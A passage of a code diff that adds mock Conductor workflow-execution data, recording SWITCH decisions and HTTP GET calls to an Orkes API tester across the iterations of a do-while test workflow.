"965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "96ca3a84-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + evaluationResult: ["3"], + selectedCase: "3", + }, + workflowTask: { + name: "switch", + taskReferenceName: "switch_ref", + inputParameters: { + switchCaseValue: "${inline_ref.output.result}", + }, + type: "SWITCH", + decisionCases: { + 1: [ + { + name: "http_3", + taskReferenceName: "http_ref_3", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + 2: [ + { + name: "http_2", + taskReferenceName: "http_ref_2", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + }, + defaultCase: [ + { + name: "http_1", + taskReferenceName: "http_ref_1", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + evaluatorType: "value-param", + expression: "switchCaseValue", + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 3, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "SWITCH", + status: "COMPLETED", + inputData: { + hasChildren: "true", + switchCaseValue: 1, + _createdBy: "najeeb.thangal@orkes.io", + case: "1", + }, + referenceTaskName: "switch_ref__4", + retryCount: 0, + seq: 16, + pollCount: 0, + taskDefName: "SWITCH", + scheduledTime: 1713413857710, + startTime: 1713413857711, + endTime: 1713413857711, + updateTime: 1713413857711, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "96ebf358-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + evaluationResult: ["1"], + selectedCase: "1", + }, + workflowTask: { + name: "switch", + taskReferenceName: "switch_ref", + inputParameters: { + switchCaseValue: "${inline_ref.output.result}", + }, + type: "SWITCH", + decisionCases: { + 1: [ + { + name: "http_3", + taskReferenceName: "http_ref_3", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + 2: [ + { + name: "http_2", + taskReferenceName: "http_ref_2", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + }, + defaultCase: [ + { + name: "http_1", + taskReferenceName: "http_ref_1", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + evaluatorType: "value-param", + expression: "switchCaseValue", + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 4, + subworkflowChanged: false, + queueWaitTime: 1, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "SWITCH", + status: "COMPLETED", + inputData: { + hasChildren: "true", + switchCaseValue: 1, + _createdBy: "najeeb.thangal@orkes.io", + case: "1", + }, + referenceTaskName: "switch_ref__5", + retryCount: 0, + seq: 20, + pollCount: 0, + taskDefName: "SWITCH", + scheduledTime: 1713413857953, + startTime: 1713413857953, + endTime: 1713413857953, + updateTime: 1713413857953, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "97112e9c-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + evaluationResult: ["1"], + selectedCase: "1", + }, + workflowTask: { + name: "switch", + taskReferenceName: "switch_ref", + inputParameters: { + switchCaseValue: "${inline_ref.output.result}", + }, + type: "SWITCH", + decisionCases: { + 1: [ + { + name: "http_3", + taskReferenceName: "http_ref_3", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + 2: [ + { + name: "http_2", + taskReferenceName: "http_ref_2", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + }, + defaultCase: [ + { + name: "http_1", + taskReferenceName: "http_ref_1", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + evaluatorType: "value-param", + expression: "switchCaseValue", + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 5, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "SWITCH", + status: "COMPLETED", + inputData: { + hasChildren: "true", + switchCaseValue: 1, + _createdBy: "najeeb.thangal@orkes.io", + case: "1", + }, + referenceTaskName: "switch_ref__6", + retryCount: 0, + seq: 24, + pollCount: 0, + taskDefName: "SWITCH", + scheduledTime: 1713413858204, + startTime: 1713413858204, + endTime: 1713413858204, + updateTime: 1713413858204, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "97377b50-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + evaluationResult: ["1"], + selectedCase: "1", + }, + workflowTask: { + name: "switch", + taskReferenceName: "switch_ref", + inputParameters: { + switchCaseValue: "${inline_ref.output.result}", + }, + type: "SWITCH", + decisionCases: { + 1: [ + { + name: "http_3", + taskReferenceName: "http_ref_3", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + 2: [ + { + name: "http_2", + taskReferenceName: "http_ref_2", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + }, + defaultCase: [ + { + name: "http_1", + taskReferenceName: "http_ref_1", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + evaluatorType: "value-param", + expression: "switchCaseValue", + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 6, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "SWITCH", + status: "COMPLETED", + inputData: { + hasChildren: "true", + switchCaseValue: 2, + _createdBy: "najeeb.thangal@orkes.io", + case: "2", + }, + referenceTaskName: "switch_ref__7", + retryCount: 0, + seq: 28, + pollCount: 0, + taskDefName: "SWITCH", + scheduledTime: 1713413858412, + startTime: 1713413858412, + endTime: 1713413858412, + updateTime: 1713413858412, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "97571144-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + evaluationResult: ["2"], + selectedCase: "2", + }, + workflowTask: { + name: "switch", + taskReferenceName: "switch_ref", + inputParameters: { + switchCaseValue: "${inline_ref.output.result}", + }, + type: "SWITCH", + decisionCases: { + 1: [ + { + name: "http_3", + taskReferenceName: "http_ref_3", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + 2: [ + { + name: "http_2", + taskReferenceName: "http_ref_2", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + }, + defaultCase: [ + { + name: "http_1", + taskReferenceName: "http_ref_1", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + evaluatorType: "value-param", + expression: "switchCaseValue", + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 7, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "SWITCH", + status: "COMPLETED", + inputData: { + hasChildren: "true", + switchCaseValue: 3, + _createdBy: "najeeb.thangal@orkes.io", + case: "3", + }, + referenceTaskName: "switch_ref__8", + retryCount: 0, + seq: 32, + pollCount: 0, + taskDefName: "SWITCH", + scheduledTime: 1713413858625, + startTime: 1713413858625, + endTime: 1713413858625, + updateTime: 1713413858625, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "97779198-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + evaluationResult: ["3"], + selectedCase: "3", + }, + workflowTask: { + name: "switch", + taskReferenceName: "switch_ref", + inputParameters: { + switchCaseValue: "${inline_ref.output.result}", + }, + type: "SWITCH", + decisionCases: { + 1: [ + { + name: "http_3", + taskReferenceName: "http_ref_3", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + 2: [ + { + name: "http_2", + taskReferenceName: "http_ref_2", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + }, + defaultCase: [ + { + name: "http_1", + taskReferenceName: "http_ref_1", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + evaluatorType: "value-param", + expression: "switchCaseValue", + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 8, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "SWITCH", + status: "COMPLETED", + inputData: { + hasChildren: "true", + switchCaseValue: 1, + _createdBy: "najeeb.thangal@orkes.io", + case: "1", + }, + referenceTaskName: "switch_ref__9", + retryCount: 0, + seq: 36, + pollCount: 0, + taskDefName: "SWITCH", + scheduledTime: 1713413858864, + startTime: 1713413858864, + endTime: 1713413858864, + updateTime: 1713413858864, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "979c098c-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + evaluationResult: ["1"], + selectedCase: "1", + }, + workflowTask: { + name: "switch", + taskReferenceName: "switch_ref", + inputParameters: { + switchCaseValue: "${inline_ref.output.result}", + }, + type: "SWITCH", + decisionCases: { + 1: [ + { + name: "http_3", + taskReferenceName: "http_ref_3", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + 2: [ + { + name: "http_2", + taskReferenceName: "http_ref_2", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + }, + defaultCase: [ + { + name: "http_1", + taskReferenceName: "http_ref_1", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + evaluatorType: "value-param", + expression: "switchCaseValue", + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 9, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "SWITCH", + status: "COMPLETED", + inputData: { + hasChildren: "true", + switchCaseValue: 2, + _createdBy: "najeeb.thangal@orkes.io", + case: "2", + }, + referenceTaskName: "switch_ref__10", + retryCount: 0, + seq: 40, + pollCount: 0, + taskDefName: "SWITCH", + scheduledTime: 1713413859083, + startTime: 1713413859083, + endTime: 1713413859083, + updateTime: 1713413859083, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "97bd7440-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + evaluationResult: ["2"], + selectedCase: "2", + }, + workflowTask: { + name: "switch", + taskReferenceName: "switch_ref", + inputParameters: { + switchCaseValue: "${inline_ref.output.result}", + }, + type: "SWITCH", + decisionCases: { + 1: [ + { + name: "http_3", + taskReferenceName: "http_ref_3", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + 2: [ + { + name: "http_2", + taskReferenceName: "http_ref_2", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + }, + defaultCase: [ + { + name: "http_1", + taskReferenceName: "http_ref_1", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + evaluatorType: "value-param", + expression: "switchCaseValue", + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 10, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + ], + }, + http_ref_3: { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_3__1", + retryCount: 0, + seq: 5, + pollCount: 1, + taskDefName: "http_3", + scheduledTime: 1713413857007, + startTime: 1713413857108, + endTime: 1713413857122, + updateTime: 1713413857108, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "968171ad-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": ["max-age=15724800; includeSubDomains"], + Connection: ["keep-alive"], + "Content-Length": ["180"], + Date: ["Thu, 18 Apr 2024 04:17:37 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 47, + hostName: "orkes-api-sampler-67dfc8cf58-7ckpj", + randomString: "vxqmzdyagxmexnpbaiqd", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_3", + taskReferenceName: "http_ref_3", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 1, + subworkflowChanged: false, + queueWaitTime: 101, + loopOverTask: true, + taskDefinition: null, + loopOver: [ + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_3__1", + retryCount: 0, + seq: 5, + pollCount: 1, + taskDefName: "http_3", + scheduledTime: 1713413857007, + startTime: 1713413857108, + endTime: 1713413857122, + updateTime: 1713413857108, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "968171ad-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["180"], + Date: ["Thu, 18 Apr 2024 04:17:37 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 47, + hostName: "orkes-api-sampler-67dfc8cf58-7ckpj", + randomString: "vxqmzdyagxmexnpbaiqd", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_3", + taskReferenceName: "http_ref_3", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 1, + subworkflowChanged: false, + queueWaitTime: 101, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_3__4", + retryCount: 0, + seq: 17, + pollCount: 1, + taskDefName: "http_3", + scheduledTime: 1713413857705, + startTime: 1713413857770, + endTime: 1713413857805, + updateTime: 1713413857770, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "96ec1a69-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:37 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 3964, + hostName: "orkes-api-sampler-67dfc8cf58-lp2np", + randomString: "qsrrgcyapbgeuoceizaa", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_3", + taskReferenceName: "http_ref_3", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 4, + subworkflowChanged: false, + queueWaitTime: 65, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_3__5", + retryCount: 0, + seq: 21, + pollCount: 1, + taskDefName: "http_3", + scheduledTime: 1713413857948, + startTime: 1713413858015, + endTime: 1713413858027, + updateTime: 1713413858015, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: 